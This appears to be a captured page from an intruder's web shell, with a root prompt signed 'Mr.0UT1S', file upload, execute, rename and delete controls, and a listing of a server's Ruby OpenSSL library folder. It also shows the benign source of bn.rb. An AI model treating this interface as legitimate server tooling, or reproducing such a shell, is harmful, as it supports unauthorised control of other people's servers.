opt
/
alt
/
ruby26
/
lib64
/
ruby
/
2.6.0
/
openssl
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
bn.rb
708 bytes
Rename
Delete
buffering.rb
9.68 KB
Rename
Delete
cipher.rb
1.70 KB
Rename
Delete
config.rb
11.98 KB
Rename
Delete
digest.rb
1.71 KB
Rename
Delete
pkcs5.rb
614 bytes
Rename
Delete
pkey.rb
663 bytes
Rename
Delete
ssl.rb
15.98 KB
Rename
Delete
x509.rb
5.82 KB
Rename
Delete
# frozen_string_literal: false #-- # # = Ruby-space definitions that completes C-space funcs for BN # # = Info # 'OpenSSL for Ruby 2' project # Copyright (C) 2002 Michal Rokos <m.rokos@sh.cvut.cz> # All rights reserved. # # = Licence # This program is licensed under the same licence as Ruby. # (See the file 'LICENCE'.) #++ module OpenSSL class BN include Comparable def pretty_print(q) q.object_group(self) { q.text ' ' q.text to_i.to_s } end end # BN end # OpenSSL ## #-- # Add double dispatch to Integer #++ class Integer # Casts an Integer as an OpenSSL::BN # # See `man bn` for more info. def to_bn OpenSSL::BN::new(self) end end # Integer
Save